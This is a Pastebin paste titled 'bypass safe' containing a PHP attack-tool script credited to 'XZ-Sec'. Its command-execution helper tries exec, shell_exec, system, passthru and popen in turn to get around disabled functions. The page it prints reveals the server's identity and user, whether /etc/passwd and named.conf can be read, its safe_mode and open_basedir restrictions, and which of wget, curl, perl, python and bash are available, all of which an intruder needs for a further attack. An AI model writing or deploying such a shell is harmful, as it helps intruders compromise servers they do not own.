VanGans

bypass safe

Sep 7th, 2018
141
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 6.05 KB | None | 0 0
  1.  
  2. <?php
  3. /*
  4.        ____________
  5.    ___/ ___________\
  6.   / ___/           _____
  7.  / /              (____ \
  8. | |  Coded By          \ \
  9. | |      Nirvan_Gans    ) )
  10.  \ \__               __/ /           __
  11.   \__ \_____________/ __/        ___/  \
  12.      \_______________/       ___/       \_
  13.                          ___/             \
  14.                      ___/   __/            \
  15.                  ___/   __  \__/\           \
  16.              ___/    __/        _\      ___/|
  17.         ____/    __     \      /    ___/ _  (
  18.        /        \ /_     \      ___/ _   \\ |
  19.        |\  __    \  /       ___/ _   \\  _H_/
  20.        | \/  \    \/    ___/ _   \\  _H_/ Y
  21.        |`|  _/      ___/ _   \\  _H_/ Y   !   NGS.
  22.         \|_|\   ___/ _   \\  _H_/ Y   !   !
  23.         !  | \_/ _   \\  _H_/ Y   !   !
  24.         !  \` |  \\  _H_/ Y   !   !
  25.             \`|  _H_/ Y   !   !
  26.              \|_/ Y   !   !
  27.                   !   !
  28.                   !
  29. */
  30.  
  31. @error_reporting(0);
  32.  
  33. function excute($cfe) {
  34.   $res = '';
  35.   if (!empty($cfe)) {
  36.     if(@function_exists('exec')) {
  37.       @exec($cfe,$res);
  38.       $res = join("\n",$res);
  39.     } elseif(@function_exists('shell_exec')) {
  40.       $res = @shell_exec($cfe);
  41.     } elseif(@function_exists('system')) {
  42.       @ob_start();
  43.       @system($cfe);
  44.       $res = @ob_get_contents();
  45.       @ob_end_clean();
  46.     } elseif(@function_exists('passthru')) {
  47.       @ob_start();
  48.       @passthru($cfe);
  49.       $res = @ob_get_contents();
  50.       @ob_end_clean();
  51.     } elseif(@is_resource($f = @popen($cfe,"r"))) {
  52.       $res = "";
  53.       while(!@feof($f)) { $res .= @fread($f,1024); }
  54.       @pclose($f);
  55.     } else { $res = "Ex() Disabled!"; }
  56.   }
  57.   return $res;
  58. }
  59.  
  60.         // Show Stat
  61.   function showstat($stat) {
  62.     if ($stat=="on") { return "<font color=green><b>ON</b></font>"; }
  63.     else { return "<font color=red><b>OFF</b></font>"; }
  64.   }
  65.   function named_conf(){
  66.   if(@is_readable('/etc/named.conf')){ return "<font color=green><b>Readable</b></font>";
  67.   }else { return "<font color=red><b>Not Readable</b></font>"; }
  68.   }
  69.   function passwd(){
  70.   if(@is_readable('/etc/passwd')){ return "<font color=green><b>Readable</b></font>";
  71.   }else { return "<font color=red><b>Not Readable</b></font>"; }
  72.   }
  73.   function testoracle() {
  74.   if (@function_exists('ocilogon')) { return showstat("on"); }
  75.   else { return showstat("off"); }
  76.   }
  77.   function testpostgresql() {
  78.     if (@function_exists('pg_connect')) { return showstat("on"); }
  79.     else { return showstat("off"); }
  80.   }
  81.   function testmssql() {
  82.     if (@function_exists('mssql_connect')) { return showstat("on"); }
  83.     else { return showstat("off"); }
  84.   }
  85.   function testmysql() {
  86.     if (@function_exists('mysql_connect')) { return showstat("on"); }
  87.     else { return showstat("off"); }
  88.   }
  89.  
  90.   function showdisablefunctions() {
  91.     if ($disablefunc=@ini_get("disable_functions")){ return "<font color=red><b>".$disablefunc."</b></font>"; }
  92.     else { return "<font color=green><b>NONE</b></b></font>"; }
  93.   }
  94.     function openbase_dir() {
  95.     if ($openbase_dir=@ini_get('open_basedir')){ return "<font color=red><b>".$openbase_dir."</b></font>"; }
  96.     else { return "<font color=green><b>NONE</b></b></font>"; }
  97.   }
  98.     function testfetch() {
  99.     if(excute('fetch --help')) { return showstat("on"); }
  100.     else { return showstat("off"); }
  101.   }
  102.     function testwget() {
  103.     if (excute('wget --help')) { return showstat("on"); }
  104.     else { return showstat("off"); }
  105.   }
  106.     function testperl() {
  107.     if (excute('perl --help')) { return showstat("on"); }
  108.     else { return showstat("off"); }
  109.   }
  110.     function testpy() {
  111.     if (excute('python --help')) { return showstat("on"); }
  112.     else { return showstat("off"); }
  113.   }
  114.       function testsh() {
  115.     if (excute('bash --help')) { return showstat("on"); }
  116.     else { return showstat("off"); }
  117.   }
  118.     function testcurl() {
  119.     if (@function_exists('curl_version')) { return showstat("on"); }
  120.     else { return showstat("off"); }
  121.   }
  122.   if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") {
  123.     $safemode = TRUE;
  124.     $hsafemode = "<font color=red><b>ON (Secure)</b></font>";
  125.   }else{
  126.     $safemode = FALSE;
  127.     $hsafemode = "<font color=green><b>OFF (Not Secure)</b></font>";
  128.   }
  129.  
  130.   $pwd=str_replace('\\', '/', dirname(__FILE__)).'/';
  131.  
  132. echo "
  133. <html><
  134. head>
  135. <title>Server Info ~ ".$_SERVER['HTTP_HOST']." ~</title>
  136. </head>
  137. <body>
  138. <style type=text/css>
  139. body{background-color:#111;font-family:verdana;}
  140. .info{background-color:#fff; width=100%;}
  141. input,textarea{border:1px solid #000;}
  142. </style>
  143. <div class=info>
  144. <table bgcolor=#ff0000 width=100%px height=20px><tr>
  145. <td><font color=#fff size=1px><center>Server Info[Coded By: XZ-Sec]</center></font></td>
  146. </tr></table>
  147. <font color=#000 size=2px>
  148. <center><span><font color='#111'>
  149. <br> UName -a: <font color=blue>".@php_uname()." </font>|</br>
  150. <br> Hostname: <font color=blue>".$_SERVER['HTTP_HOST']."</font>|</br>
  151. <br> Software : <font color=blue>".@getenv("SERVER_SOFTWARE")." </font>| </br>
  152. <br> PHP Version: <font color=blue>".@phpversion()." </font>|</br>
  153. <br> Current Dir: <font color=blue>{$pwd} |</font></br>
  154. <br> ID:<font color=blue>" .@getmyuid()."(".@get_current_user().") </font>- UID:<font color=blue>".@getmyuid()."(".@get_current_user().") </font>- GID:<font color=blue>".@getmygid()."(".@get_current_user().") </font>|</br>
  155. <br> Your IP:<font color=blue>".$_SERVER["REMOTE_ADDR"]." </font>| The Server IP:<font color=blue>".@gethostbyname($_SERVER["HTTP_HOST"])." </font>|</br>
  156. <br> Safe Mode: $hsafemode | Open_BaseDir: ".openbase_dir()."|</br>
  157. <br> Disabled Functions: ".@showdisablefunctions()."|</br>
  158. <br> named.conf File is: ".named_conf()." | passwd File is: ".passwd()."</br>
  159. <br>
  160. MySQL: ".@testmysql()."|
  161. MSSQL: ".@testmssql()."|
  162. Oracle: ".@testoracle()."|
  163. PostgreSQL: ".@testpostgresql()."|
  164. cURL: ".@testcurl()."|
  165. Fetch: ".@testfetch()."|
  166. WGet: ".@testwget()."|
  167. Perl: ".@testperl()."|
  168. Python: ".@testpy()."|
  169. Bash: ".@testsh()."|
  170. </center>
  171. </font>
  172. <br/>
  173. </div>
  174. <p align='center'><font color='#FF00FF'>By XZ-Sec<br/></font></p>
  175. <br/>
  176. ";
  177. ?>
Advertisement
Add Comment
Please, Sign In to add comment